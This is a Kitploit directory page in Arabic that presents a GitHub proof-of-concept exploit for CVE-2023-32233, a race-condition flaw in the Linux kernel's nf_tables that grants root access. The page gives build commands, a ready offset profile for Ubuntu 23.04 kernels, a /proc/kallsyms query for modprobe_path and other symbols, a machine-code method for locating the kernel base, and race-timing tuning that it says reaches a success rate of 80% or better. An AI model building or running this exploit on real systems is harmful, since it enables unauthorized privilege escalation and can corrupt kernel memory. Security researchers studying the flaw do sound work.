Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-32233 — CVE-2023-32233: ثغرة أمنية في نواة لينكس | Kitploit
أدوات/GitHubGitHub/liuk3r/cve-2023-32233
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubliuk3r/cve-2023-32233

CVE-2023-32233

CVE-2023-32233: ثغرة أمنية في نواة لينكس

عرض المستودع
38278منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

البناء والتكوين

تم اختبار التعليمات التالية على نظام Ubuntu 23.04 (Lunar Lobster).

GIF 2023-5-16 12-28-46

تثبيت تبعيات البناء

شغّل الأمر التالي لتثبيت تبعيات البناء:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

بناء الملف الثنائي

شغّل الأمر التالي لبناء الملف الثنائي لإثبات المفهوم (PoC):

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

تحديث ملف التعريف

يحتوي ملف التعريف المدمج على معاملات خاصة بنواة Linux الموزعة في شكل ثنائي ضمن الحزم التالية من Ubuntu 23.04 (Lunar Lobster):

  • "linux-image-6.2.0-20-generic"، الإصدار "6.2.0-20.20"، و
  • "linux-modules-6.2.0-20-generic"، الإصدار "6.2.0-20.20".

يبدو ملف التعريف المدمج على هذا النحو:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

رموز النواة

خطوات اختيارية لتجاوز ملف التعريف المدمج عند الاختبار مع أنوية Linux أخرى:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

كود الآلة

من أجل العثور على قاعدة النواة، نفحص صورة nf_tables.ko في ذاكرة النواة. وتحديدًا، نحلّل كود الآلة الخاص بالدالة الفرعية nft_counter_destroy(). وهذا يعني أن طريقتنا حسّاسة تجاه المترجم وكذلك تجاه خيارات الترجمة. ومع ذلك، يمكن معالجة جميع الحالات المعتادة عن طريق تجاوز ملف التعريف المدمج.

على سبيل المثال، قد يبدو كود الآلة الخاص بالدالة الفرعية nft_counter_destroy() على هذا النحو:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

في الحالة أعلاه، يمكننا تحديد عدد من المعاملات بإلحاق الأسطر الثلاثة أدناه بملف التكوين "profile".

أولًا، نعيد تعريف إزاحة الكلمة المزدوجة (dword) التي تسبق إزاحة free_percpu:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

حيث تم حساب القيمة 5 باستخدام التعبير (1e31d - 1e310) - 8.

وكفحص سلامة، نتحقق بعد ذلك من الكلمة المزدوجة عند الإزاحة أعلاه باستخدام القناع التالي:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

متوقعين القيمة التالية:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

ضبط السباق

يتطلب استغلال الثغرة الفوز بسباق مع مؤشر ترابط خلفي عامل في نواة Linux. تمت معايرة ملف التعريف المدمج لتعظيم فرصة الفوز بذلك السباق على نطاق واسع من معالجات Intel بما في ذلك أجهزة Sandy Bridge المحمولة وأجهزة Comet Lake المكتبية. ومع ذلك، تتطلب بعض المعالجات معايرة إضافية. على سبيل المثال، لاحظنا زيادة في زمن الانتقال لتبديل المهام ضمن Alder Lake في بعض الإعدادات، حيث قد يكون من الضروري إلحاق السطر التالي بـ "profile":

root@kitploit:~
400                 race_lead_sleep

قمنا بقياس احتمالية 80% أو أفضل لاستغلال الثغرة بنجاح في اختباراتنا التي استخدمت أنظمة معدنية عارية (bare-metal) خاملة.

توصيات الاختبار

بمجرد تشغيل إثبات المفهوم (PoC) على نظام قابل للاستغلال، قد يترك ذلك النظام في حالة غير مستقرة مع ذاكرة نواة تالفة. نوصي بشدة باختبار إثبات المفهوم (PoC) على نظام مخصص لتجنب تلف البيانات المحتمل.

تنزيل الأداة